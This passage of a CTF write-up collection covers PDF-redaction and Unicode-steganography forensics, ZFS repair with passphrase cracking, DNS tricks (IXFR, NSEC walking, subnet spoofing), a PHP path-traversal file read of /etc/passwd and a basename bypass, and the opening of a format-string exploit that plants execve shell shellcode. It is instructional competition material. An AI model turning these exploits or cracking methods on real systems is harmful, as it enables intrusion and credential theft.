    print(f"Open {outdir}/line_3.png and read the flag token (the challenge asks for the flag containing '3').")


if __name__ == "__main__":
    main()
```

Run:

```bash
python3 solve.py
```

The deblurred token in `solve_out/line_3.png` is:

`ENO{semantic_3_inference_initialized}`

### rdctd 4

#### Description

We are given `attachments/Planned-Flags-signed-2.pdf` which contains multiple hidden flags. For this sub-challenge we must submit the flag that contains the digit `4`.

#### Solution

The visible example `ENO{th1s is 4n eXample}` is a decoy.

On page 4, inside the large redaction box under section **3.7**, the PDF draws **hundreds of tiny identical filled squares** (vector rectangles) using `re`/`f` operations. Their positions form a **33x33 module grid** with QR-code finder patterns. Because it is drawn inside the dark redaction area, it is not obvious by just looking at the page.

Steps:

1. Extract the page 4 content stream.
2. Interpret only the needed PDF drawing operators (`q/Q`, `cm`, `re`, `f`) to collect the centers of the repeated square modules.
3. Map module centers to a 33x33 grid, render to a PNG (with a quiet zone).
4. Decode the QR code with `zbarimg` to get the flag.

Decoded QR payload (flag): `ENO{We_should_have_an_Ontology_to_4_categorize_our_ontologies}`

Below is the full solver used.

```python
#!/usr/bin/env python3
"""Extract and decode the hidden QR-code flag for rdctd 4.

The QR code is not an embedded raster image: it's drawn as hundreds of tiny
1.718x1.718 filled rectangles inside the big redaction box on page 4.

This script:
- extracts the page-4 content stream(s),
- interprets a tiny subset of PDF drawing ops (q/Q, cm, re, f),
- reconstructs the module grid,
- renders it to a PNG with a quiet zone,
- decodes it with zbarimg.
"""

from __future__ import annotations

import re
import subprocess
from collections import Counter
from dataclasses import dataclass
from pathlib import Path

from PIL import Image


@dataclass(frozen=True)
class Matrix:
    # PDF CTM: [a b c d e f]
    a: float
    b: float
    c: float
    d: float
    e: float
    f: float

    def mul(self, other: "Matrix") -> "Matrix":
        # self * other
        a2, b2, c2, d2, e2, f2 = self.a, self.b, self.c, self.d, self.e, self.f
        a, b, c, d, e, f = other.a, other.b, other.c, other.d, other.e, other.f
        return Matrix(
            a=a2 * a + c2 * b,
            b=b2 * a + d2 * b,
            c=a2 * c + c2 * d,
            d=b2 * c + d2 * d,
            e=a2 * e + c2 * f + e2,
            f=b2 * e + d2 * f + f2,
        )

    def transform(self, x: float, y: float) -> tuple[float, float]:
        return (self.a * x + self.c * y + self.e, self.b * x + self.d * y + self.f)


_NUM_RE = re.compile(r"^[+-]?(?:\d+\.\d*|\d*\.\d+|\d+)$")


def _extract_qr_squares_centers(stream_text: str) -> list[tuple[float, float]]:
    toks = stream_text.replace("\r", "\n").split()

    ctm = Matrix(1.0, 0.0, 0.0, 1.0, 0.0, 0.0)
    stack: list[Matrix] = []
    nums: list[float] = []
    last_rect: tuple[float, float, float, float, Matrix] | None = None

    # First pass: find the most common rectangle size (w,h). The QR uses many
    # tiny equal squares, far more frequent than redaction word-boxes.
    rect_sizes: Counter[tuple[float, float]] = Counter()
    pending_rect: tuple[float, float, float, float] | None = None

    for t in toks:
        if _NUM_RE.match(t):
            nums.append(float(t))
            continue

        if t == "re" and len(nums) >= 4:
            x, y, w, h = (float(nums[-4]), float(nums[-3]), float(nums[-2]), float(nums[-1]))
            pending_rect = (x, y, w, h)
            nums = []
            continue

        if t == "f" and pending_rect is not None:
            _, _, w, h = pending_rect
            rect_sizes[(round(w, 6), round(h, 6))] += 1
            pending_rect = None
            nums = []
            continue

        # other op
        pending_rect = None
        nums = []

    if not rect_sizes:
        raise RuntimeError("no rectangles found in content stream")

    (module_w, module_h), _ = rect_sizes.most_common(1)[0]
    if abs(module_w - module_h) > 1e-3:
        raise RuntimeError(f"most common rectangle is not square: {(module_w, module_h)}")
    module = float(module_w)

    # Second pass: interpret transforms so we can place each drawn square.
    centers: list[tuple[float, float]] = []
    nums = []
    last_rect = None

    for t in toks:
        if _NUM_RE.match(t):
            nums.append(float(t))
            continue

        op = t
        if op == "q":
            stack.append(ctm)
            nums = []
            last_rect = None
            continue
        if op == "Q":
            ctm = stack.pop() if stack else Matrix(1.0, 0.0, 0.0, 1.0, 0.0, 0.0)
            nums = []
            last_rect = None
            continue
        if op == "cm":
            if len(nums) >= 6:
                a2, b2, c2, d2, e2, f2 = nums[-6:]
                m2 = Matrix(a2, b2, c2, d2, e2, f2)
                ctm = m2.mul(ctm)
            nums = []
            last_rect = None
            continue
        if op == "re":
            if len(nums) >= 4:
                x, y, w, h = nums[-4:]
                last_rect = (x, y, w, h, ctm)
            nums = []
            continue
        if op == "f":
            if last_rect is not None:
                x, y, w, h, m = last_rect
                if abs(w - module) < 1e-3 and abs(h - module) < 1e-3:
                    cx, cy = m.transform(x + w / 2.0, y + h / 2.0)
                    centers.append((cx, cy))
            nums = []
            last_rect = None
            continue

        nums = []
        last_rect = None

    if not centers:
        raise RuntimeError("no module squares found")

    return centers


def _render_bitgrid(centers: list[tuple[float, float]], module_step: float, out_path: Path) -> tuple[int, int]:
    xs = [x for x, _ in centers]
    ys = [y for _, y in centers]
    minx, maxx = min(xs), max(xs)
    miny, maxy = min(ys), max(ys)

    ncol = int(round((maxx - minx) / module_step)) + 1
    nrow = int(round((maxy - miny) / module_step)) + 1

    occ = [[0] * ncol for _ in range(nrow)]
    for x, y in centers:
        c = int(round((x - minx) / module_step))
        r = int(round((y - miny) / module_step))
        if 0 <= r < nrow and 0 <= c < ncol:
            occ[r][c] = 1

    # Render with quiet zone and scaling.
    scale = 12
    quiet = 4
    w = (ncol + 2 * quiet) * scale
    h = (nrow + 2 * quiet) * scale

    im = Image.new("L", (w, h), 255)
    px = im.load()

    # r=0 corresponds to lowest y; image needs top row first.
    for r in range(nrow):
        for c in range(ncol):
            if occ[r][c]:
                rr = quiet + (nrow - 1 - r)
                cc = quiet + c
                x0 = cc * scale
                y0 = rr * scale
                for dy in range(scale):
                    for dx in range(scale):
                        px[x0 + dx, y0 + dy] = 0

    im.save(out_path)
    return nrow, ncol


def _decode_qr_with_zbarimg(png_path: Path) -> str:
    out = subprocess.check_output(["zbarimg", "-q", str(png_path)], stderr=subprocess.DEVNULL).decode().strip()
    # Output format: "QR-Code:..."
    if ":" not in out:
        raise RuntimeError(f"unexpected zbarimg output: {out!r}")
    _, payload = out.split(":", 1)
    return payload


def main() -> int:
    pdf_path = Path("attachments/Planned-Flags-signed-2.pdf")
    if not pdf_path.is_file():
        raise SystemExit(f"missing {pdf_path}")

    try:
        import fitz  # PyMuPDF
    except Exception as exc:
        raise SystemExit(f"PyMuPDF not available: {exc}")

    doc = fitz.open(str(pdf_path))
    page = doc[3]  # page 4 (0-based)

    # Extract and concatenate all content streams for this page.
    parts: list[bytes] = []
    for xref in page.get_contents():
        parts.append(doc.xref_stream(xref))
    stream_text = b"\n".join(parts).decode("latin1", "ignore")

    centers = _extract_qr_squares_centers(stream_text)

    # The module size is the dominant square width/height in the stream; in this
    # PDF it is exactly 1.718.
    module_step = 1.718
    out_png = Path("qr_from_stream41.png")
    nrow, ncol = _render_bitgrid(centers, module_step, out_png)

    payload = _decode_qr_with_zbarimg(out_png)
    print(payload)
    # Sanity check: QR should be 33x33 (QR version 4).
    if (nrow, ncol) != (33, 33):
        print(f"warning: unexpected grid size {nrow}x{ncol}")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```

### rdctd 5

#### Description

A PDF with “redacted” content contains 6 hidden flags. This task asks for the flag that contains a `5`.

#### Solution

The PDF still contains hidden text inside compressed object streams (in this case, an annotation/signature field). If you first decompress/clean the PDF and then search the resulting bytes for `ENO{...}`, the hidden flag becomes visible.

Run:

```bash
./solve.sh
```

Solution code (`solve.sh`):

```bash
#!/usr/bin/env bash
set -euo pipefail

PDF_PATH="${1:-attachments/Planned-Flags-signed-2.pdf}"

tmp_clean="$(mktemp -p . planned_flags.clean.XXXXXX.pdf)"
trap 'rm -f "$tmp_clean"' EXIT

# Decompress and normalize PDF streams so hidden strings become searchable.
mutool clean -d -c -m "$PDF_PATH" "$tmp_clean" >/dev/null

# Extract the flag that contains a "5".
strings -n 6 "$tmp_clean" \
  | rg -o 'ENO\{[^}]*5[^}]*\}' \
  | head -n 1
```

Flag:

`ENO{SIGN_HERE_TO_GET_ALL_FLAGS_5}`

### rdctd 6

#### Description

We are given `attachments/Planned-Flags-signed-2.pdf`, which supposedly contains 6 hidden flags. This specific task asks for “the flag containing a 6”.

#### Solution

The flag is stored in the PDF’s document metadata (the `Producer` field). Tools like `pdfinfo`/`exiftool` show it directly:

```bash
pdfinfo attachments/Planned-Flags-signed-2.pdf | grep Producer
# Producer:        ENO{secureflaghidingsystem76}
```

I also wrote a tiny extractor that searches the PDF bytes for `ENO{...}` (and falls back to `mutool clean -d` decompression if needed), then prints the first match containing the digit `6`.

```python
#!/usr/bin/env python3
import re
import subprocess
import sys
import tempfile
from pathlib import Path


FLAG_RE = re.compile(br"ENO\{[^\x00\r\n\t]{1,200}?\}")


def extract_flags(pdf_bytes: bytes) -> set[bytes]:
    return set(m.group(0) for m in FLAG_RE.finditer(pdf_bytes))


def mutool_decompress_to_bytes(pdf_path: Path) -> bytes:
    with tempfile.TemporaryDirectory() as td:
        out_path = Path(td) / "clean.pdf"
        subprocess.run(
            ["mutool", "clean", "-d", str(pdf_path), str(out_path)],
            check=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
        )
        return out_path.read_bytes()


def main() -> int:
    if len(sys.argv) != 2:
        print(f"usage: {Path(sys.argv[0]).name} <pdf>", file=sys.stderr)
        return 2

    pdf_path = Path(sys.argv[1])
    pdf_bytes = pdf_path.read_bytes()
    flags = extract_flags(pdf_bytes)

    if not flags:
        try:
            flags = extract_flags(mutool_decompress_to_bytes(pdf_path))
        except Exception:
            pass

    flags_with_6 = sorted(f for f in flags if b"6" in f)
    if not flags_with_6:
        print("no flag containing digit 6 found", file=sys.stderr)
        if flags:
            print("other flags found:", file=sys.stderr)
            for f in sorted(flags):
                print(f.decode("latin1"), file=sys.stderr)
        return 1

    # The challenge expects exactly one flag containing a "6".
    print(flags_with_6[0].decode("latin1"))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```

Run:

```bash
python3 solve.py attachments/Planned-Flags-signed-2.pdf
```

Flag:

`ENO{secureflaghidingsystem76}`

### Seen

#### Description

We're given an `index.html` file containing a JavaScript flag checker. The input is validated against a string of Unicode variation selectors (U+FE00–U+FE0F) — invisible characters that encode the flag and a checksum.

#### Solution

The checker works as follows:

1. A string `s` of 144 Unicode variation selectors (range 0xFE00–0xFE0F) is decoded into 72 nibble-pairs, producing an array `t` of 72 bytes.
2. The input flag (UTF-8 encoded) must have length `t.length / 2 = 36`.
3. A generator `gen = 0x10231048` is iterated per byte: `gen = ((gen ^ 0xA7012948 ^ byte) + 131203) & 0xffffffff`, and the result's low byte must match `t[flagLen + i]`.

Since each byte position has only one valid candidate (the XOR and addition constrain it uniquely), we brute-force each byte independently:

```python
import re

with open('attachments/index.html', 'r', encoding='utf-8') as f:
    content = f.read()

m = re.search(r'const s="(.*?)"', content)
s = m.group(1)

vs = 0xFE00
t = []
for i in range(0, len(s), 2):
    t.append(((ord(s[i]) - vs) << 4) | (ord(s[i+1]) - vs))

flag_len = len(t) // 2
gen = 0x10231048
flag = []

for i in range(flag_len):
    for b in range(256):
        test_gen = ((gen ^ 0xA7012948 ^ b) + 131203) & 0xffffffff
        if test_gen % 256 == t[flag_len + i]:
            flag.append(b)
            gen = test_gen
            break

print(bytes(flag).decode())
```

Flag: `ENO{W0W_1_D1DN'T_533_TH4T_C0M1NG!!!}`

### ZFS rescue

#### Description

We had all our flags on this super old thumb drive. My friend said the data would be safe due to ZFS, but here we are... Something got corrupted and we can only remember that the password was from the rockyou.txt file... Can you recover the flag.txt?

Given: `nullcongoa_rescued.img` (64MB ZFS pool image)

#### Solution

This challenge involves repairing a corrupted ZFS encrypted pool image and cracking the encryption passphrase.

**Step 1: Analyze the image**

The image is a 64MB ZFS file-based vdev. Initial analysis with `zdb -l` shows all 4 ZFS label nvlists have been zeroed (intentional corruption), but the uberblocks are intact. The data area is also intact.

**Step 2: Reconstruct labels**

A valid pool config nvlist was found at physical offset `0x40d000` (LZ4-compressed, 916 bytes -> 16KB). This was the pool's packed nvlist from the MOS. Key pool metadata extracted:

* Pool name: `nullcongoa`
* Pool GUID: `0x1c52777b2293a712`
* Vdev type: file, ashift=12
* Best uberblock: txg=43

The nvlist was written to all 4 label vdev\_phys areas with corrected `state` and `txg` fields. Label checksums (SHA-256 with ZFS endian conventions) were recomputed.

**Step 3: Repair MOS object 61**

Even with valid labels, `zdb -e` couldn't fully open the pool because MOS object 61 (PACKED\_NVLIST) had all-zero data blocks across all 3 DVA copies. The known-good packed nvlist from `0x40d000` was copied into object 61's data block locations, then a cascade checksum repair was performed up the block pointer chain:

1. Object 61 data block checksums (Fletcher4)
2. L0 dnode block recompressed and checksummed
3. Meta-dnode indirect block recompressed and checksummed
4. MOS objset\_phys checksummed
5. Uberblock rootbp checksums updated

Script: `repair_mos_obj61.py`

**Step 4: Patch vdev path for importability**

The on-disk config stored the original vdev path from the challenge author's system. This was patched to a local path (`cccccccc/nullcongoa.img`) using fixed-length directory names to maintain string length. Script: `make_importable.py`

After patching, `zdb -e -p cccccccc nullcongoa` successfully opened the pool and revealed the encrypted dataset `nullcongoa/flag`.

**Step 5: Extract encryption parameters**

From `zdb -e -p cccccccc -dddd nullcongoa 272` (the crypto key ZAP object):

| Parameter                     | Value                              |
| ----------------------------- | ---------------------------------- |
| Crypto suite                  | AES-256-GCM                        |
| Key format                    | passphrase                         |
| PBKDF2 iterations             | 100,000                            |
| PBKDF2 salt (uint64 LE bytes) | `2600e6e9eda8b4d0`                 |
| IV (12 bytes)                 | `1dd41ddc27e486efe756baae`         |
| GCM tag (16 bytes)            | `233648b5de813aa6544241fa9110076b` |
| Wrapped master key (32 bytes) | `d7da54da...a99484d7`              |
| Wrapped HMAC key (64 bytes)   | `2e2ff1a7...0cc84272`              |
| DSL\_CRYPTO\_GUID             | `0x6877C9E7E0C39ED6`               |

The pool creation commands (from SPA history) confirmed:

```
zfs create -o encryption=aes-256-gcm -o keyformat=passphrase -o pbkdf2iters=100000 nullcongoa/flag
```

**Step 6: Crack the passphrase (GPU-accelerated)**

OpenZFS uses PBKDF2-HMAC-SHA1 to derive a 32-byte wrapping key from the passphrase, then AES-256-GCM to unwrap the master+HMAC keys with AAD = `guid(8 LE) || suite(8 LE) || version(8 LE)` (24 bytes).

A GPU-accelerated cracker was written using PyOpenCL targeting an AMD Radeon RX 9070 XT (via Mesa Rusticl). The OpenCL kernel computes PBKDF2-HMAC-SHA1 on the GPU, then AES-256-GCM tag verification is done on CPU.

```python
#!/usr/bin/env python3
"""GPU-accelerated ZFS passphrase cracker (PyOpenCL)"""
import sys, struct, time, numpy as np
import pyopencl as cl
from cryptography.hazmat.primitives.ciphers.aead import AESGCM

SALT = bytes.fromhex("2600e6e9eda8b4d0")
ITERS = 100000
IV = bytes.fromhex("1dd41ddc27e486efe756baae")
TAG = bytes.fromhex("233648b5de813aa6544241fa9110076b")
CT = bytes.fromhex(
    "d7da54dac4d6b6eab0450efef2bd602357007ac5f5dc9ed65d4892c5a99484d7"
    "2e2ff1a74e1d88735ecec7559f084dceb7bcb083fb506fc6060b68e86afb5595"
    "c3067fe06d86d99ca77537c43bc81c1d79c432ec897d0c00d472b8f30cc84272")
CT_WITH_TAG = CT + TAG
GUID_LE = bytes.fromhex("d69ec3e0e7c97768")
AAD_24 = GUID_LE + struct.pack("<Q", 8) + struct.pack("<Q", 1)
# OpenCL kernel implements PBKDF2-HMAC-SHA1 with precomputed ipad/opad states
# Host sends batches of passwords, GPU returns 32-byte derived keys
# CPU verifies AES-256-GCM unwrap for each key
```

At \~24,000 passwords/sec on GPU (vs \~768/sec on CPU), the passphrase was found in 20 seconds:

**Passphrase: `reba12345`** (at position \~473k in rockyou.txt)

**Step 7: Import and decrypt**

```bash
sudo zpool import -d cccccccc nullcongoa
echo "reba12345" | sudo zfs load-key nullcongoa/flag
sudo zfs mount nullcongoa/flag
cat /nullcongoa/flag/flag.txt
```

**Flag: `ENO{you_4r3_Truly_An_ZFS_3xp3rt}`**

### Zoney

#### Description

A DNS challenge where a flag is hidden somewhere at `flag.ctf.nullcon.net` on port 5054. The current TXT record says "The flag was removed."

#### Solution

The challenge name "Zoney" hints at DNS zone operations. Querying the current DNS records reveals:

* **A record**: `10.13.37.1`
* **TXT record**: `"The flag was removed."`
* **SOA record**: serial `1500`

Standard zone transfer (AXFR) fails, but **incremental zone transfer (IXFR)** succeeds. IXFR returns the diff history between zone serial numbers, allowing us to see previous versions of the zone.

Requesting IXFR from serial 1000 returns the full history of 500 zone updates. Most are generic "Update #XXXX" TXT records, but serial **1337** contains the flag hidden among the updates, along with an A record change that makes it stand out:

```
flag.ctf.nullcon.net. 300 IN TXT "Update #1337: ENO{1337_1ncr3m3nt4l_z0n3_tr4nsf3r_m4st3r_8f9a2c1d}"
```

The zone history also contains a deliberate red herring: serial 1498 is skipped (jumping from 1497 to 1499), with serial 1499 containing "Phew, removed the flag before anyone could get it" — making it seem like the flag was at serial 1498. The actual flag was at serial 1337 all along.

**Solution commands:**

```bash
# Check current state
dig @52.59.124.14 -p 5054 flag.ctf.nullcon.net TXT +noall +answer
# "The flag was removed."

dig @52.59.124.14 -p 5054 flag.ctf.nullcon.net SOA +noall +answer
# serial 1500

# Use IXFR to retrieve zone change history from serial 1000
dig @52.59.124.14 -p 5054 flag.ctf.nullcon.net IXFR=1000 > ixfr_output.txt

# Search for anything unusual (non-standard "Update #" entries)
grep "TXT" ixfr_output.txt | grep -v '"Update #[0-9]*"$'
# Reveals: "Update #1337: ENO{1337_1ncr3m3nt4l_z0n3_tr4nsf3r_m4st3r_8f9a2c1d}"
```

**Flag:** `ENO{1337_1ncr3m3nt4l_z0n3_tr4nsf3r_m4st3r_8f9a2c1d}`

### emoji

#### Description

A zip file containing `README.md` with a single visible emoji (💯) followed by hidden Unicode characters.

#### Solution

The 💯 emoji is followed by 28 invisible Unicode characters from the **Variation Selectors Supplement** block (U+E0100–U+E01EF). These are zero-width characters that don't render visually, making them a steganographic channel.

Examining the codepoints reveals they encode ASCII with a simple offset: `(codepoint - 0xE0100) + 16 = ASCII value`.

```python
data = open('README.md', 'r').read().strip()

# Skip the visible emoji (first char), decode hidden variation selectors
hidden = data[1:]
flag = ''
for c in hidden:
    val = (ord(c) - 0xE0100) + 16
    flag += chr(val)

print(flag)
# ENO{EM0J1S_UN1COD3_1S_MAG1C}
```

**Flag:** `ENO{EM0J1S_UN1COD3_1S_MAG1C}`

### DiNoS

#### Description

A DNS server at `52.59.124.14:5052` hosts the zone `dinos.nullcon.net`. The challenge hints that a flag is "mixed up with the herd" of dinosaurs (DNS records). The zone has DNSSEC enabled with NSEC records.

#### Solution

The challenge name "DiNoS" is a play on DNS + Dinosaurs. The zone uses DNSSEC with **NSEC records**, which have a well-known vulnerability: NSEC walking. Each NSEC record points to the next domain name in the zone, allowing complete zone enumeration without a zone transfer.

Querying `ANY` for the base domain reveals an NSEC record pointing to the first subdomain:

```
dinos.nullcon.net. 900 IN NSEC 00nnfwzjt3p8f8jx0aweoxulptivpp9qbw7mckvfw1imqu0u1awdxjuq7jqf.dinos.nullcon.net.
```

Each subdomain has a TXT record (random-looking data) and another NSEC record pointing to the next subdomain. Walking the entire chain reveals 512 TXT records, with the flag hidden as record #139.

```python
#!/usr/bin/env python3
import subprocess
import re

SERVER = "52.59.124.14"
PORT = "5052"
BASE_DOMAIN = "dinos.nullcon.net"

def dig_query(name):
    result = subprocess.run(
        ["dig", f"@{SERVER}", "-p", PORT, "ANY", name],
        capture_output=True, text=True, timeout=10
    )
    return result.stdout

def extract_nsec_next(output):
    for line in output.split('\n'):
        if re.match(r'^[^\s]+\s+\d+\s+IN\s+NSEC\s+', line):
            match = re.search(r'\bNSEC\s+(\S+)', line)
            if match:
                return match.group(1).rstrip('.')
    return None

def extract_txt(output):
    for line in output.split('\n'):
        if re.match(r'^[^\s]+\s+\d+\s+IN\s+TXT\s+', line):
            match = re.search(r'TXT\s+"([^"]*)"', line)
            if match:
                return match.group(1)
    return None

current = BASE_DOMAIN
visited = set()

while True:
    if current in visited:
        break
    visited.add(current)
    output = dig_query(current)
    txt = extract_txt(output)
    if txt and "ENO{" in txt:
        print(f"FLAG: {txt}")
        break
    next_name = extract_nsec_next(output)
    if next_name is None:
        break
    current = next_name
```

**Flag:** `ENO{RAAWR_RAAAAWR_You_found_me_hiding_among_some_NSEC_DiNoS}`

### DragoNflieS

#### Description

The DNS server at `52.59.124.14:5053/udp` returns a fake TXT flag for `flag.ctf.nullcon.net` unless you use a "new DNS feature" that makes the server believe the query comes from an internal network.

#### Solution

The intended feature is **EDNS Client Subnet (ECS)** (EDNS option code `8`). By adding an ECS option for an internal-looking subnet `10.13.37.0/24` (any IP inside it with prefix `/24` or `/32`), the server returns a different TXT value, which is the real flag.

One-liner with `dig`:

```bash
dig @52.59.124.14 -p 5053 flag.ctf.nullcon.net TXT +subnet=10.13.37.1/24 +short
```

Reference solver (Python, using dnspython) that retries a few times because the service drops some packets:

```python
#!/usr/bin/env python3
import dns.edns
import dns.exception
import dns.message
import dns.query
import dns.rdatatype

HOST = "52.59.124.14"
PORT = 5053
QNAME = "flag.ctf.nullcon.net."


def query_txt(*, ecs_ip: str | None = None, ecs_prefix: int = 24) -> str:
    options = []
    if ecs_ip is not None:
        options.append(dns.edns.ECSOption(ecs_ip, ecs_prefix, 0))

    q = dns.message.make_query(QNAME, "TXT", use_edns=True)
    q.use_edns(0, 0, 8192, options=options)

    last_exc: Exception | None = None
    for _ in range(6):
        try:
            r = dns.query.udp(q, HOST, port=PORT, timeout=1.5)
            for rrset in r.answer:
                for rd in rrset:
                    if rd.rdtype == dns.rdatatype.TXT:
                        return b"".join(rd.strings).decode("utf-8", "replace")
            raise RuntimeError("no TXT answer")
        except (dns.exception.Timeout, OSError) as e:
            last_exc = e
            continue
    raise RuntimeError("query failed after retries") from last_exc


def main() -> None:
    print(query_txt(ecs_ip="10.13.37.1", ecs_prefix=24))


if __name__ == "__main__":
    main()
```

Flag:

```
ENO{Whirr_do_not_send_private_data_for_wrong_IP_Whirr}
```

### Flowt Theory

#### Description

A "BillSplitter Lite" web application at `52.59.124.14:5069` that tracks expenses and settles debts between friends. The app mentions storing data in "super secure files" on the server and adding a "secret administrative fee of 0.01" to every calculation. The goal is to find the hidden administrative fee.

#### Solution

The application is a PHP web app running on Apache. By examining the functionality:

1. **Discovery**: The app takes `names[]` and `amounts[]` via POST. Names are used as filenames (note the "Filename" placeholder hint). Amounts are written to files in a per-session user directory at `/var/www/html/users/<session_id>/`.
2. **Path Traversal (LFI)**: The `view_receipt` GET parameter reads files relative to the user directory but has **no path traversal sanitization** (unlike the POST name field which strips non-alphanumeric characters). Testing increasing depths of `../` revealed that 5 levels up reaches the filesystem root:

```
GET /?view_receipt=../../../../../etc/passwd  →  file contents returned
```

3. **Source Code Recovery**: Reading the PHP source via LFI:

```
GET /?view_receipt=../../../../../var/www/html/index.php
```

This revealed that the flag is read from `/flag.txt` and stored in a randomly-named `secret_<8chars>` file in each user's directory. The file content is `"0.01\n" + flag`, making the float value 0.01 (the "admin fee" shown in the vault balance).

4. **Flag Extraction**: Since the flag originates from `/flag.txt`, reading it directly:

```
GET /?view_receipt=../../../../../flag.txt
```

```bash
# Full solve - one-liner:
curl -s "http://52.59.124.14:5069/?view_receipt=../../../../../flag.txt" | \
  python3 -c "
import sys
data = sys.stdin.buffer.read()
idx1 = data.find(b'<pre><code>')
idx2 = data.find(b'</code></pre>')
if idx1 >= 0 and idx2 >= 0:
    print(data[idx1+11:idx2].decode())
"
```

**Flag**: `ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd}`

The flag decodes to "floating point precision is not your friend" - the challenge name "Flowt Theory" (Float Theory) hints at the floating point theme, though the actual exploit is a classic Local File Inclusion via unsanitized path traversal in the `view_receipt` parameter.

### Flowt Theory 2

#### Description

A "BillSplitter Lite" web application at `52.59.124.14:5070` that tracks expenses and settles debts. The app stores receipts as files on the server and adds a "secret administrative fee of 0.01" to every calculation. The goal is to find the hidden administrative fee. This is the sequel to "Flowt Theory" (port 5069) which had an unprotected LFI via the `view_receipt` parameter — in this version, `basename()` was added to block path traversal.

#### Solution

The application is a PHP 8.0.30 app on Apache. The key difference from Flowt Theory 1 is that `view_receipt` now applies `basename()`, blocking `../` path traversal. However, the `.lock` metadata file is readable through `basename()` since `basename('.lock')` returns `.lock` unchanged.

1. **Understanding the architecture (from Flowt Theory 1 source via LFI)**: Reading FT1's source at `http://52.59.124.14:5069/?view_receipt=../../../../../var/www/html/index.php` revealed the full PHP code. On session initialization, the app:
   * Creates a per-user directory at `/var/www/html/users/<random_hex>/`
   * Generates a random filename `secret_<8_alphanumeric_chars>`
   * Writes the flag file: content is `"0.01\n" + flag` (so `floatval()` returns 0.01, the "admin fee")
   * Stores the secret filename in a `.lock` file in the same directory
2. **The basename() bypass via `.lock`**: While `basename()` strips directory traversal (`../../../../../flag.txt` → `flag.txt`), it preserves dotfiles: `basename('.lock')` → `.lock`. The `.lock` file exists in the user's directory and is directly readable:

```
GET /?view_receipt=.lock  →  "secret_IpnW9GYk"
```

3. **Reading the flag**: Using the leaked secret filename from `.lock` to read the actual flag file:

```
GET /?view_receipt=secret_IpnW9GYk  →  "0.01\nENO{...}"
```

```python
# Full solve script:
import requests, re

s = requests.Session()
s.get('http://52.59.124.14:5070/')
sid = s.cookies.get('PHPSESSID')
s.cookies.clear()
s.cookies.set('PHPSESSID', sid, domain='52.59.124.14', path='/')

# Step 1: Read .lock to get secret filename
r = s.get('http://52.59.124.14:5070/', params={'view_receipt': '.lock'})
m = re.search(r'<pre><code>(.*?)</code></pre>', r.text, re.DOTALL)
secret_name = m.group(1).strip()

# Step 2: Read the secret file containing the flag
r = s.get('http://52.59.124.14:5070/', params={'view_receipt': secret_name})
m = re.search(r'<pre><code>(.*?)</code></pre>', r.text, re.DOTALL)
print(m.group(1))
```

The secret file content is `0.01\n<flag>` — the first line is parsed as the 0.01 admin fee by `floatval()`, while the second line contains the flag.

**Flag**: `ENO{s33ms_l1k3_w3_h4d_4_pr0bl3m_k33p_y0ur_fl04t1ng_p01nts_1n_ch3ck}`

***

## pwn

### encodinator

#### Description

The service reads up to `0x100` bytes, base85-encodes them into an RWX `mmap` at a fixed address (`0x40000000`), and then calls `printf(mapped_buf)` — a classic format string vulnerability. The binary is non-PIE and writable sections (including `.fini_array`) live at fixed addresses.

Goal: use the format string to gain code execution and read the flag from the remote instance (`52.59.124.14:5012`).

#### Solution

**1) Identify the bug and the useful primitives**

From `main`:

* `mmap(0x40000000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, ...)` → fixed RWX region.
* `read(0, stack_buf, 0x100)` → attacker-controlled bytes on the stack.
* `base85_encode(stack_buf, len, mapped)` → attacker controls the *format string* bytes stored at `0x40000000`.
* `printf(mapped)` → attacker-controlled format string, with no extra arguments explicitly passed.

Even though only the format string is passed to `printf`, it is variadic, so it will still read “arguments” from the caller’s registers and then from the caller’s stack. Crucially, at the call site the stack-based variadic arguments start at the beginning of `stack_buf`, so we can place pointers on the stack and reference them via positional specifiers like `%25$hn`.

This gives us arbitrary 2-byte writes via `%hn` to chosen addresses.

**2) Avoid the “base85 wrapper” problem**

We do *not* control the format string directly; we control the *input*, which gets base85-encoded.

Key trick: choose an initial base85 output prefix (`fmt`) that is made entirely of valid base85 alphabet characters (`'!'..'u'`, which includes `%`, digits, `$`, `h`, `n`, etc). Then **base85-decode** that prefix to the bytes we must send so that the program re-encodes them back into `fmt`.

To safely append raw pointers after this prefix (so they appear as stack arguments), we make `len(fmt)` a multiple of 10:

* base85 encodes 4 input bytes → 5 output chars.
* `len(fmt) % 10 == 0` ⇒ decoded prefix length is a multiple of 8 bytes ⇒ appended pointers are 8-byte aligned for `printf` arguments.
* Also, decoded length is a multiple of 4 bytes ⇒ appending more bytes doesn’t change the already-emitted base85 groups, so the output begins with our exact `fmt`.

**3) Get code execution without libc**

We avoid libc entirely (remote libc unknown) by:

1. Using the format string to write a small `execve("/bin//sh", NULL, NULL)` shellcode into the already-mapped RWX region at `0x40000800`.
2. Overwriting `.fini_array[0]` (at fixed address `0x403188`) to point to `0x40000800`.
3. When `main` returns, process shutdown runs `.fini_array`, jumping into our shellcode → spawns a shell on the socket.

`.fini_array` originally contains `0x4011e0` (`__do_global_dtors_aux`). We overwrite only the low 4 bytes using two `%hn` writes:

* `*(uint16_t*)0x403188 = 0x0800`
* `*(uint16_t*)0x40318a = 0x4000`

**4) Why the argument numbering is `6 + ...`**

For `printf` positional parameters, numbering **starts after** the format string:

* arg 1..5 are in registers (`rsi`, `rdx`, `rcx`, `r8`, `r9`)
* arg 6 is the first stack variadic slot

If our decoded prefix occupies `P` bytes, the first appended pointer is at stack-slot `(P/8)`, so its positional index is:

`arg_base = 6 + (P / 8)`

We solve this with a short fixed-point iteration: build `fmt` using a guessed `arg_base`, decode it to get `P`, recompute `arg_base`, repeat until stable.

**5) Full exploit code**

Run:

* Local sanity check: `python3 solve.py LOCAL`
* Remote: `python3 solve.py`

`solve.py`:

```python
#!/usr/bin/env python3
from __future__ import annotations

import struct

from pwn import args, context, process, remote


def b85_encode(data: bytes) -> bytes:
    out = bytearray()
    i = 0
    while i < len(data):
        rem = min(4, len(data) - i)
        acc = 0
        for j in range(4):
            acc <<= 8
            if j < rem:
                acc |= data[i + j]

        chars = [0] * 5
        for k in range(4, -1, -1):
            chars[k] = (acc % 85) + 0x21
            acc //= 85

        out += bytes(chars[: rem + 1])
        i += 4

    out += b"\x00"
    return bytes(out)


def b85_decode_full_groups(s: bytes) -> bytes:
    if len(s) % 5 != 0:
        raise ValueError("base85 decode expects full 5-char groups")
